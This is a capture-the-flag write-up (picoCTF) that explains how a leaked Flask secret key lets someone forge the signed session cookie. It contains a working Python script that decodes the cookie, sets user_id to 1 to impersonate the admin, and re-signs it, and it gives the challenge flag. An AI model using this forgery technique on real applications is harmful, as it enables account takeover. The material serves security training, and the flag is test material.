The answer to the question in the hint ("What can you do with a flaskSecret_Key?") is "it depends" : Flask is very flexible, and many extensionsuse the key in different ways or replace Flask's session mechanism.
But in the case of a "vanilla" Flask app (no extensions used) the secret ket isused to sign the session cookie.
A quick search for "Flask decrypt cookie" yielded[this gist](https://gist.github.com/babldev/502364a3f7c9bafaa6db), which was agood starting point.
_Note : Flask needs to be installed for this code to run_
If we decode the cookie, we see it has 4 field = `_fresh`, `_id`, `csrf_token`and `user_id`. No `admin` field this time !
The only field that seemed interesting was the `user_id` field. Asserting that`admin` was  the first user created, I tried forging a cookie with a `user_id`of `1`.
Here's my script :
```pythonimport hashlibfrom itsdangerous import URLSafeTimedSerializerfrom flask.sessions import TaggedJSONSerializerfrom sys import argv
KEY = '3589a201d98658da606797c074cc2216'  # from the task description
def decode_flask_cookie(secret_key, cookie_str):    salt = 'cookie-session'    serializer = TaggedJSONSerializer()    signer_kwargs = {        'key_derivation': 'hmac',        'digest_method': hashlib.sha1    }    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)    return s.loads(cookie_str)
def encode_flask_cookie(secret_key, cookie):    salt = 'cookie-session'    serializer = TaggedJSONSerializer()    signer_kwargs = {        'key_derivation': 'hmac',        'digest_method': hashlib.sha1    }    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)    return s.dumps(cookie)
if __name__ == '__main__':    try:        cookie = argv[1]    except IndexError:        print(f'usage: {argv[0]} [COOKIE]')    cookie_val = (decode_flask_cookie(KEY, cookie))    new_cookie = dict(cookie_val)    new_cookie['user_id'] = '1'    print(encode_flask_cookie(KEY, new_cookie))```
If we pass it the app's cookie and then request `/admin` with the generatedcookie, we get the flag : `picoCTF{1_id_to_rule_them_all_d77c1ed6} `.